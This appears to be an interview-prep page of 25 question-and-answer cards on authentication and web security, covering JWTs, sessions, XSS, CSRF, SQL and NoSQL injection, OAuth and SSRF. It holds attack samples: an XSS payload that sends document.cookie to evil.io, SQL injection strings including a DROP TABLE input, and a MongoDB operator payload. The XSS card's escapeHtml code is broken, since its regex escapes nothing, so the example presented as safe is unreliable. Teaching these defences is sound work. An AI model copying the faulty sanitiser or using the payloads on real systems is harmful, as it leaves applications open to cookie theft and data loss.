

Sec

Backend · most asked

Auth & Web Security interview questions

25 questions · 8 easy · 14 medium · 3 hard. Open one to see the answer, a code example and the likely follow-up, then mark it as known or to review.

1

What is the difference between authentication and authorisation?

Easy



#auth #basics

Authentication (authn) answers **who are you?** It verifies identity: password, passkey, OTP, SSO login.

Authorisation (authz) answers **what are you allowed to do?** It checks permissions for an already-identified user: can this user delete this project?

Authentication comes first; authorisation runs on **every** protected request.

In HTTP terms: failed authentication → **401 Unauthorized** (despite the name); authenticated but not permitted → **403 Forbidden**.

A common bug is checking authentication only: any logged-in user can read `/invoices/123` even when it belongs to someone else (broken object-level authorisation).

? **Likely follow-up:** Where in your code would you enforce "users can only edit their own posts"?

2

Session cookies vs JWTs: how do they work and which would you choose?

Medium



#sessions #jwt

Server sessions: after login the server stores session data (in Redis or a DB) and sends a random **session ID** in a cookie. Each request looks the session up.

- easy, instant logout and revocation
- needs a shared session store across instances

JWT: the server signs a token containing the claims (user ID, roles, expiry). The server verifies the signature without a lookup.

- stateless, good across services and for mobile or third-party APIs
- **hard to revoke before it expires**, so keep it short-lived and add refresh tokens

For a classic web app on one domain, a session in an HttpOnly cookie is usually simpler and safer. JWTs shine for distributed systems and APIs consumed by many clients.

? **Likely follow-up:** How would you log a user out everywhere with JWTs?

3

What is inside a JWT, and how is it verified?

Medium



#jwt

A JWT is three Base64URL parts joined by dots: **header.payload.signature**.

- **header:** algorithm and type, e.g. `{"alg": "HS256", "typ": "JWT"}`
- **payload: claims** such as **sub** (user ID), **exp** (expiry), **iat**, **iss**, **aud**, roles
- **signature:** HMAC (shared secret) or RSA/ECDSA (private key) over the header and payload

The payload is **encoded, not encrypted**: anyone can read it, so never put secrets in it.

Verification: recompute or check the signature, then validate **exp**, **iss** and **aud**. Pin the accepted algorithm in the server config, so **alg: "none"** or algorithm-confusion tricks are rejected.

Example

```
const b64url = (obj) => JSON.stringify(obj) // real JWTs base64url-encode this
const header = { alg: 'HS256', typ: 'JWT' }
const payload = { sub: 'user_42', role: 'admin', exp:
Math.floor(Date.now() / 1000) + 900 }
const token = [b64url(header), b64url(payload), '<signature>'].join('.')

const [, body] = token.split('.')
const claims = JSON.parse(body)
console.log('anyone can read:', claims.sub, claims.role)
console.log('expired?', claims.exp < Date.now() / 1000)
```

4

Where should you store a JWT in the browser: localStorage or a cookie?

Medium



#jwt #cookies #xss

localStorage: easy to send in an `Authorization` header, and immune to CSRF. But **any XSS can read it** and send it to an attacker, who can then use it from anywhere until it expires.

HttpOnly cookie: JavaScript cannot read it, so XSS cannot steal the token (it can still make requests while the page is open). Cookies are sent automatically, so you must handle **CSRF** with `SameSite` and/or CSRF tokens.

The usual recommendation: keep tokens in `HttpOnly; Secure; SameSite=Lax` (or `Strict`) cookies. A common SPA pattern is a short-lived access token **in memory** plus a refresh token in an HttpOnly cookie.

5

What are refresh tokens, and why use them?

Medium



#jwt #tokens

Access tokens should be **short-lived** (5 to 15 minutes) so a stolen one is useful only briefly. Making users log in every 15 minutes is unacceptable, so the server also issues a **refresh token**: long-lived, stored securely (HttpOnly cookie), and used only to get new access tokens.

Best practices:

- store refresh tokens server-side (or a hash of them) so they can be **revoked**
- **rotate on every use**: issue a new refresh token and invalidate the old one
- if an already-used refresh token shows up again, assume theft and revoke the whole token family
- scope the cookie to the refresh endpoint path



Likely follow-up: How does refresh token reuse detection work?

6

How should passwords be stored?

Easy



#passwords #hashing

Never store plain text or use **encryption** (reversible) or a **fast hash** like MD5 or SHA-256: GPUs try billions of guesses per second.

Use a slow, purpose-built **password hashing** function: **Argon2id** (current first choice), **bcrypt** or **scrypt**. They have a tunable **work factor** so each guess is expensive.

A **salt** (random, unique per user, stored with the hash) means identical passwords get different hashes and **defeats precomputed rainbow tables**. bcrypt and Argon2 generate and embed the salt for you.

Optionally add a **pepper**: a secret kept outside the database (in a secrets manager) and mixed into the hash.

Example

```
const argon2 = require('argon2')

// sign-up
const hash = await argon2.hash(password) // salt + params embedded in
the string
await db.users.insert({ email, passwordHash: hash })

// login
const ok = await argon2.verify(user.passwordHash, password)
if (!ok) return res.status(401).json({ error: 'Invalid email or password'
})
```

🔗 **Likely follow-up:** Why return the same error for "unknown email" and "wrong password"?

7

What is XSS, and how do you prevent it?

Medium



#xss #owasp

Cross-site scripting: an attacker gets their JavaScript to run in **your site's pages**, in other users' browsers. It can then read data, make requests as the victim, or steal non-HttpOnly tokens.

- **stored:** script saved in the DB (a comment) and shown to others

- **reflected**: script in a URL parameter echoed into the page
- **DOM-based**: client JS writes untrusted data into the DOM

Prevention:

- **escape output for its context** (HTML, attribute, URL, JS); React and template engines escape by default
- avoid `innerHTML`, `dangerouslySetInnerHTML`, `eval`; sanitise any allowed HTML with `DOMPurify`
- add a strict **Content Security Policy**
- `HttpOnly` cookies limit the damage

Example

```
const escapeHtml = (s) => s.replace(/&<>"'/g, (c) =>
  ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;'
  })[c])

const comment = '<img src=x onerror="fetch(\'//evil.io?c=\'+document.cookie)">'
console.log('unsafe:', '<p>${comment}</p>')
console.log('safe: ', '<p>${escapeHtml(comment)}</p>')
```

🔗 Likely follow-up: Why is a `javascript:` URL in an `href` still dangerous in React?

8

What is CSRF, and how do you prevent it?

Medium 🔥🔥 #csrf #cookies #owasp

Cross-site request forgery: a malicious site makes the victim's browser send a request to your site, and the browser **attaches the victim's cookies automatically**. If you rely only on cookies, the forged request is authenticated (e.g. a hidden form that POSTs to `/transfer`).

Defences:

- **SameSite cookies**: `Lax` (default in modern browsers) blocks cookies on cross-site POSTs; `Strict` blocks all cross-site sends
- **CSRF tokens**: a random token in the form or a header that the attacker's page **cannot read or guess**
- check the `Origin` / `Sec-Fetch-Site` headers
- never change state with GET

APIs that use `Authorization: Bearer` headers (not cookies) are not vulnerable, because browsers do not add that header automatically.

? Likely follow-up: What is the difference between XSS and CSRF?

9

What is SQL injection (and NoSQL injection), and how do you prevent it?

Easy



#injection #owasp

Injection happens when user input is **concatenated into a query**, so the input changes the query's structure. `' OR '1'='1` can bypass a login, and `'; DROP TABLE users;--` can destroy data.

The fix is **parameterised queries** (prepared statements): the query and the values travel separately, so input is always treated as data. ORMs and query builders do this by default; be careful with their "raw" helpers.

NoSQL injection: in MongoDB, a JSON body like `{ "password": { "$ne": null } }` turns a value into an operator. Validate that fields are the expected **type** (string, not object) and strip keys starting with `$`.

Also: least-privilege DB users and validated input.

Example

```
// Vulnerable: input becomes part of the SQL
db.query(`SELECT * FROM users WHERE email = '${req.body.email}'`)

// Safe: placeholder + separate values
db.query('SELECT * FROM users WHERE email = $1', [req.body.email])

// MongoDB: reject operator objects
if (typeof req.body.email !== 'string') return res.sendStatus(400)
```

10

What does CORS protect against, and what does it not protect against?

Medium



#cors #browser

CORS **relaxes** the browser's same-origin policy. The same-origin policy stops a script on `evil.com` from **reading** responses from `your-api.com` in a victim's browser; CORS headers let you allow specific origins.

What it does **not** do:

- it is **not server-side access control**: curl, Postman and other servers ignore it entirely
- it does not stop requests being **sent**: a "simple" cross-site POST still reaches your server (that is CSRF territory)
- it does not replace authentication

Dangerous setups: reflecting any `Origin` back with `Access-Control-Allow-Credentials: true`, or allowing `null`. Keep an explicit allowlist.

11

Explain the cookie flags `HttpOnly`, `Secure` and `SameSite`.

Easy 🔥🔥 #cookies

- `HttpOnly`: JavaScript (`document.cookie`) cannot read the cookie, so **XSS cannot steal it**
- `Secure`: only sent over HTTPS, never in plain HTTP
- `SameSite=Strict`: never sent on cross-site requests (even clicking a link from another site)
- `SameSite=Lax`: sent on top-level navigation (GET links) but not on cross-site POSTs or iframes/fetch; the browser default
- `SameSite=None`: always sent, requires `Secure`; needed for third-party embeds

Also useful: `Max-Age` / `Expires`, a narrow `Path`, no `Domain` (host-only), and the `__Host-` name prefix, which forces `Secure`, `Path=/` and no `Domain`.

A session cookie should normally have all of: `HttpOnly; Secure; SameSite=Lax`.

Example

```
res.cookie('__Host-sid', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',
  path: '/',
  maxAge: 1000 * 60 * 60 * 24 * 7, // 7 days
})
```

12

What are OAuth 2.0 and OpenID Connect? Explain the authorization code flow with PKCE.

Hard



#oauth #oidc #sso

OAuth 2.0 is for **delegated authorisation**: letting an app access an API on a user's behalf (an access token) without seeing their password. **OpenID Connect (OIDC)** adds **authentication** on top: an **ID token** (a JWT) saying who the user is. "Sign in with Google" is OIDC.

Authorization code flow + PKCE:

1. the app creates a random `code_verifier` and sends its hash (`code_challenge`) when redirecting to the provider
2. the user logs in and consents; the provider redirects back with a short-lived **code**
3. the app exchanges the code **plus the verifier** for tokens

PKCE stops a stolen authorization code being used, because the attacker lacks the verifier. It is now recommended for all clients; the old implicit flow is deprecated. Also check the `state` parameter against CSRF.

? Likely follow-up: Why should you not use an OAuth access token to identify the user?

13

How does HTTPS work? Describe the TLS handshake at a high level.

Medium



#tls #https

HTTPS is HTTP over **TLS**, which gives **encryption, integrity** (no tampering) and **authentication** of the server.

TLS 1.3 handshake, simplified:

1. **ClientHello**: supported ciphers and a key share (Diffie-Hellman public value)
2. **ServerHello**: chosen cipher, server key share, and the server's **certificate**, signed by a trusted Certificate Authority
3. the client verifies the certificate chain and that it matches the domain
4. both sides derive the same **symmetric session key** from the key exchange; all further traffic uses fast symmetric encryption

Asymmetric crypto is used only to **agree on a key and prove identity**. TLS 1.3 needs one round trip and gives forward secrecy. Add **HSTS** so browsers always use HTTPS.

🔗 Likely follow-up: What is forward secrecy?

14

What is a Content Security Policy?

Medium 🔥🔥 #csp #xss #headers

CSP is a response header that tells the browser **which sources of scripts, styles, images and connections are allowed** on a page. Even if an attacker injects a `<script>`, the browser refuses to run it if it is not allowed.

It is a **second layer of defence against XSS**, not a replacement for escaping.

- avoid `'unsafe-inline'` and `'unsafe-eval'`; use **nonces** or hashes for inline scripts
- `frame-ancestors 'none'` prevents clickjacking
- roll out with `Content-Security-Policy-Report-Only` first to find breakages

Example

```
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m';
  img-src 'self' https://cdn.example.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  object-src 'none'
```

15

What is the OWASP Top 10? Name a few items.

Easy 🔥🔥 #owasp

The **OWASP Top 10** is a regularly updated list of the most critical web application security risks, used as a common checklist. Recent editions include:

- **Broken Access Control**: users acting outside their permissions (the **most common risk**)
- **Cryptographic Failures**: weak or missing encryption, plain-text passwords
- **Injection**: SQL, NoSQL, OS command, and XSS
- **Insecure Design**: missing threat modelling
- **Security Misconfiguration**: default credentials, verbose errors, open cloud buckets

- **Vulnerable and Outdated Components**
- **Identification and Authentication Failures:** weak passwords, no brute-force protection
- **Software and Data Integrity Failures, Logging and Monitoring Failures, SSRF**

Interviewers want a few examples and how you would prevent each.

16

What is IDOR (broken object-level authorisation), and how do you prevent it?

Medium 🔥🔥 #authz #owasp

IDOR (Insecure Direct Object Reference) happens when an API uses an ID from the request without checking that the user may access that object. Changing `/api/orders/1001` to `/api/orders/1002` returns someone else's order.

Prevention:

- **check ownership or permission on every object access**, on the server
- scope queries by the user: `WHERE id = $1 AND user_id = $2`
- centralise checks in a policy layer instead of scattering them
- random UUIDs make guessing harder but are **not** a fix on their own
- write tests that try to access another user's data

Example

```
app.get('/orders/:id', auth, async (req, res) => {
  const order = await db.orders.findOne({
    where: { id: req.params.id, userId: req.user.id }, // ownership in
    the query
  })
  if (!order) return res.sendStatus(404) // do not reveal that it
  exists
  res.json(order)
})
```

17

How do you protect a login endpoint from brute force and credential stuffing?

Medium 🔥🔥 #auth #rate limiting

Brute force tries many passwords for one account; **credential stuffing** tries leaked email/password pairs from other breaches across many accounts.

Defences, layered:

- **rate limit** by IP and by account, with increasing delays
- temporary lockout or a CAPTCHA after several failures (beware letting attackers lock out real users)
- **multi-factor authentication**, the strongest defence against stuffing
- check new passwords against breached-password lists (Have I Been Pwned)
- generic error messages so attackers cannot enumerate emails
- monitor and alert on unusual login patterns; notify users of new-device logins

18

How should you manage secrets like API keys and database passwords?

Easy



#secrets #devops

- **never commit secrets to git**; once pushed, assume they are leaked and rotate them (history keeps them)
- inject them at runtime through environment variables or, better, a **secrets manager** (AWS Secrets Manager, GCP Secret Manager, Vault, Doppler)
- use separate secrets per environment, with least-privilege access
- **rotate** regularly and automatically where possible
- prefer short-lived credentials (cloud IAM roles, OIDC for CI) over long-lived keys
- keep secrets out of logs, error messages, URLs and client bundles (anything with a `NEXT_PUBLIC_` or `VITE_` prefix is public)
- run secret scanning in CI and on the repo

19

RBAC vs ABAC?

Medium



#authz

RBAC (role-based access control): permissions are attached to **roles** (admin, editor, viewer), and users get roles. Simple to reason about and audit; fits most apps.

ABAC (attribute-based access control): decisions use **attributes** of the user, resource, action and context, e.g. "editors may edit documents **in their own department during work hours**". Much more flexible, but harder to manage.

Many systems combine them: roles for coarse permissions, plus ownership or attribute rules (relationship-based access, like Google Docs sharing, is a related model: ReBAC).

Whatever the model, enforce it **on the server**, in one central place.

Example

```
const roles = { admin: ['post:read', 'post:edit', 'post:delete'], viewer: ['post:read'] }
const rbac = (user, perm) => roles[user.role].includes(perm)

const abac = (user, action, post) =>
  action === 'read' || (action === 'edit' && post.authorId === user.id)

const asha = { id: 1, role: 'viewer' }
console.log('rbac edit:', rbac(asha, 'post:edit'))
console.log('abac edit own post:', abac(asha, 'edit', { authorId: 1 }))
console.log('abac edit other post:', abac(asha, 'edit', { authorId: 2 }))
```

20

What is SSO, and how does it work?

Medium



#sso #oidc

Single sign-on lets a user log in once with an **identity provider** (IdP: Okta, Microsoft Entra ID, Google) and then access many applications (**service providers**) without logging in again.

Flow: the app redirects the user to the IdP; if the user already has a session there, the IdP immediately returns a signed assertion (a **SAML** assertion or an **OIDC** ID token); the app verifies the signature and creates its own session.

Benefits: one place to enforce MFA and password policy, and **instant offboarding** when someone leaves. Risk: the IdP becomes a single point of failure and a high-value target.

SAML (XML) is common in enterprise; OIDC (JSON/JWT) in modern apps.

21

How does two-factor authentication with TOTP work?

Medium



#mfa #auth

2FA requires two different **factors**: something you **know** (password), **have** (phone, security key) or **are** (biometrics).

TOTP (authenticator apps):

1. at setup the server generates a random **shared secret** and shows it as a QR code; the app stores it
2. both sides compute `HMAC(secret, floor(now / 30s))` and take 6 digits

3. at login the server compares codes, usually allowing one step of clock drift

Codes **never travel over the network until used** and expire in 30 seconds. Store the secret encrypted, provide recovery codes, and rate limit attempts.

SMS codes are weaker (SIM swapping). **Passkeys/WebAuthn** are strongest because they also resist phishing.

? Likely follow-up: Why are passkeys phishing-resistant while TOTP is not?

22

What is the difference between hashing, encryption and encoding?

Easy



#crypto

- **Encoding** (Base64, URL encoding) changes the format for transport. **No secrecy at all**: anyone can decode it.
- **Encryption** (AES, RSA) makes data unreadable without a **key**, and is **reversible** with the key. Use it for data you must read back: stored card tokens, files, traffic.
- **Hashing** (SHA-256, bcrypt) is **one-way**: you cannot get the input back. Use it for integrity checks and, with a slow algorithm, for passwords.

Symmetric encryption uses one shared key (fast, AES). **Asymmetric** uses a public/private key pair (slower; key exchange and signatures). **HMAC** is a keyed hash that proves a message was not tampered with.

23

Which HTTP security headers should every web app send?

Easy



#headers

- **Strict-Transport-Security (HSTS)**: force HTTPS for future visits
- **Content-Security-Policy**: limit script and resource sources (XSS defence)
- **X-Content-Type-Options: nosniff**: stop browsers guessing content types
- **frame-ancestors** in CSP (or **X-Frame-Options: DENY**): prevent **clickjacking**
- **Referrer-Policy: strict-origin-when-cross-origin**: avoid leaking full URLs
- **Permissions-Policy**: disable camera, geolocation and similar features you do not use

In Express, **helmet sets sensible defaults** for most of these. Also remove headers that reveal your stack, like **X-Powered-By**.

24

What is SSRF?

Hard



#ssrf #owasp

Server-side request forgery: the attacker makes **your server** send a request to a URL they choose, typically through a feature like "import from URL", webhooks or image previews.

Because the request comes from inside your network, it can reach things the attacker cannot: internal admin services, databases, or the **cloud metadata endpoint** (`169.254.169.254`), which may hand out credentials.

Prevention:

- allowlist destination hosts where possible
- resolve the hostname and block private, loopback and link-local IP ranges (and re-check after redirects)
- run fetchers in an isolated network with no access to internal services
- use IMDSv2 on AWS

25

How do you implement secure sessions, including logout and session fixation?

Hard



#sessions #auth

- generate session IDs with a **cryptographically secure random** source (at least 128 bits)
- store them in a cookie with `HttpOnly; Secure; SameSite`
- **regenerate the session ID on login** (and on privilege changes) to prevent **session fixation**, where an attacker plants a known ID before the victim logs in
- set both an **idle timeout** and an **absolute lifetime**
- on logout, **destroy the session on the server**, not just the cookie
- offer "log out of all devices" by deleting all of a user's sessions
- invalidate sessions after a password change

Example

```
app.post('/login', async (req, res, next) => {
  const user = await verifyCredentials(req.body)
  if (!user) return res.status(401).json({ error: 'Invalid credentials'
})
  req.session.regenerate((err) => {      // new ID: blocks session
fixation
    if (err) return next(err)
    req.session.userId = user.id
    res.sendStatus(204)
  })
})

app.post('/logout', (req, res) => req.session.destroy(() =>
res.sendStatus(204)))
```